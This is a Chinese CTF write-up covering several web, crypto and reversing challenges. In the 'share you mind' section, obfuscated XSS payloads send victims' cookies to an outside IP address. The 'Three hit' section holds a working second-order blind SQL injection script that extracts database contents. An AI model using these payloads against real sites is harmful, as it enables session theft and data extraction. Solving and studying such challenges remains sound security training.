Welcome
Stegsolve–>
Web签到
进入web签到给的地址 http://39.107.33.96:10000/
查看下网站源码 发现hint
需要post “param1” “param2” 两个值 不能相等但必须md5值相等 ,根据了解 这算是一种php弱类型
根据了解找到一组值
md5(240610708,32) = 0e462097431906509019562988736854
md5(240610708,16) = 4319065090195629
md5(QNKCDZO,32) = 0e830400451993494058024219903391
md5(QNKCDZO,16) = 4519934940580242
上文提到过,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。md5(‘240610708’) == md5(‘QNKCDZO’)成功绕过!
来到第二关
查看网站源码
第三层需要md5碰撞 找到ms5相同但值不同的两个文件 可以利用工具生成
share you mind
注意到此题环境配置了pathinfo,并且涉及到XSS,所以推测是RPO.
当在Write article的内容处写入js代码(不能写标题,因为写入标题后会引入html标签).
这样就相当于在网站写入了一段纯JS.
访问http://39.107.33.96:20000/index.php/view/article/729/..%2f..%2f..%2f..%2findex.php即可触发RPO.
然后讲这个地址Export给后台的机器人就行了.
所以思路就是利用这个XSS去打COOKIE.
后端过滤了引号,利用fromCharCode绕过.
PAYLOAD:
(new Image()).src = String.fromCharCode(104,116,116,112,58,47,47,49,51,57,46,49,57,57,46,49,56,53,46,56,57,47) + document.cookie;
得到第一个cookie,提示需要进一步打子目录下的COOKIE.
引入一个iframe就行了,
PAYLAOD2:
var iframe = document.createElement(String.fromCharCode(105,102,114,97,109,101));
iframe.src = String.fromCharCode(47,81,87,66,95,102,108,52,103,47,81,87,66,47);
iframe.id = String.fromCharCode(102,114,97,109,101);
document.body.appendChild(iframe);
iframe.onload = function (){
var c = document.getElementById(String.fromCharCode(102,114,97,109,101)).contentWindow.document.cookie;
var n0t = document.createElement(String.fromCharCode(108,105,110,107));
n0t.setAttribute(String.fromCharCode(114,101,108), String.fromCharCode(112,114,101,102,101,116,99,104));
n0t.setAttribute(String.fromCharCode(104,114,101,102), String.fromCharCode(47,47,49,51,57,46,49,57,57,46,49,56,53,46,56,57,47,63,102,108,97,103,61) + c);
document.head.appendChild(n0t);
}
Three hit
这道题考察二次注入.
注册时提供name,age,password参数;
登陆时会根据age参数在数据库中查询age相同的用户的用户名,并且显示出来.
age参数做了过滤,提示只能是数字,这里可以利用16进制编码绕过.
然后就是常规的二次布尔盲注流程了.
脚本如下,每注入出一项数据后,就需要修改下注册用户名的前缀.
#! /usr/bin/env python3
# Author : sn00py
import requests
import binascii
url_register = "http://39.107.32.29:10000/index.php?func=register"
url_login = "http://39.107.32.29:10000/index.php?func=login"
result = '[*]result:'
for i in range(1, 65):
for j in range(32, 127):
# age = "9527 or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),{0},1))={1}#".format(str(i), str(j))
# age = "9527 or ascii(substr((select column_name from information_schema.columns where table_name = 'flag' limit 1),{0},1))={1}#".format(str(i), str(j))
age = "9527 or ascii(substr((select flag from flag limit 1),{0},1))={1}#".format(str(i), str(j))
age = binascii.hexlify(bytes(age, 'utf8'))
age = "0x" + str(age, "utf8")
username = "np7g{0}{1}".format(str(i), str(j))
data = {
"username": username,
"password": "123456",
"age": age
}
# 注册
while True:
try:
resp1 = requests.post(url=url_register, data=data, allow_redirects=False)
# print("[+]{} 注册成功.".format(username))
break
except Exception as e:
# print("[+]{} 注册失败.".format(username))
continue
# 登陆
while True:
try:
resp2 = requests.post(url=url_login, data=data, allow_redirects=True)
if "<a>123</a>" in resp2.text:
result += chr(j)
print(result)
# print("[+]{} 登陆成功.".format(username))
break
except Exception as e:
# print("[+]{} 登陆失败.".format(username))
continue
ai-nimals
多次发送狗狗图片的base64编码得到
streamgame1
位数不是很大,爆破即可
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
mask = 0b1010011000100011100
with open("key","rb") as f:
a = f.read()
for init in range(2**19):
R = init
ok = True
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
if tmp != a[i]:
ok = False
break
if ok:
print('flag{%s}' % bin(init)[2:])
break
得到flag flag{1110101100001101011}
streamgame2
#根据streamgame2.py 可以得到flag长度为27
#所以这里爆破一下就可以get flag了
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
f = open('key','rb')
c = f.read()
print len(c),c.encode('hex')
for cx in range(1048578,9999999):
flag = 'flag{%s}'%bin(cx).replace('0b','')
R=int(flag[5:-1],2)
mask=0x100002
x = ''
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
x += chr(tmp)
if x.encode('hex') == 'b2e90e13a06a1bfc40e67d53':
print x,cx,flag
Break
即可得到flag
streamgame4
#include <iostream>
#include <bitset>
using std::bitset;
using namespace std;
char bin[8] = {
0xD1, 0xD9, 0x40, 0x43, 0x93, 0x53, 0x1E, 0x5E
};
void nlfsr(int R,int mask,int & output,int & lastbit){
output = (R << 1) & 0xffffff;
int i=(R&mask)&0xffffff;
lastbit=0;
int changesign=1;
while (i!=0){
if (changesign==1){
lastbit &= (i & 1);
changesign=0;
}else{
lastbit^=(i&1);
}
i=i>>1;
}
output^=lastbit;
}
int check(int flag){
char bin[]={209,217,64,67,147,83,30,94} ;
int R=flag,t=0;
int mask=1783406;int tmp=0;
for(int i=0;i<8;i++){
tmp=0;
for(int j=0;j<8;j++){
int ROut=0,out=0;
nlfsr(R,mask,ROut,out);
R=ROut;
tmp=(tmp << 1)^out;
}
if((char)tmp==bin[i]){
t++;
}
}
if(t==8)
return 1;
else
return 0;
}
int main(int argc, char** argv) {
for(int i=0;i<1048576;i++){
if(check(i+1048576)==1){
bitset<21> bst=i+1048576;
cout <<"Flag Found!flag:"<<bst<<endl;
system("pause");
return 0;
}
}
cout <<"Failed to search flag!"<<endl;
system("pause");
return 0;
}
得到flag Flag Found!flag:100100111010101101011
Simplecheck
#include "stdio.h"
#include "math.h"
/*求一元二次方程ax*x+bx+c=0的解*/
float n1[] = { 0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524, 417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312 };
float n2[] = { 13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438, 33995, 53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752, 37108 };
float n3[] = { 38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340, 37644, 59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198, 8406, 64666 };
float n4[] = { 0, -341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377, 126284124, -68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507, 258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562 };
float n5[34];
int main()
{
float a,b,c,x1,x2,d,e;
int i=0;
while(i<34)
{
b = n3[i];
a = n2[i];
c = n4[i]-n1[i+1];
e = n4[i]-n1[i];
d=b*b-4*a*c;
if(d < 0)
printf("方程没有实数解。\n");
if (d==0)
{
x1=(-b)/(2*a);
printf("x1=%f\n",x1);
}
if (d>0)
{
x1=(-b+sqrt(d))/(2*a);
x2=(-b-sqrt(d))/(2*a);
//printf("x1=%f,x2=%f\n",x1,x2);
}
n5[i] = x1+0.5; //向上取整
i++;
}
for (int j = 0; j < 34; j++)
printf("%c",(int)n5[j]);
return 0;
}
结果
flag{MAth_i&_GOOd_DON7_90V_7hInK?}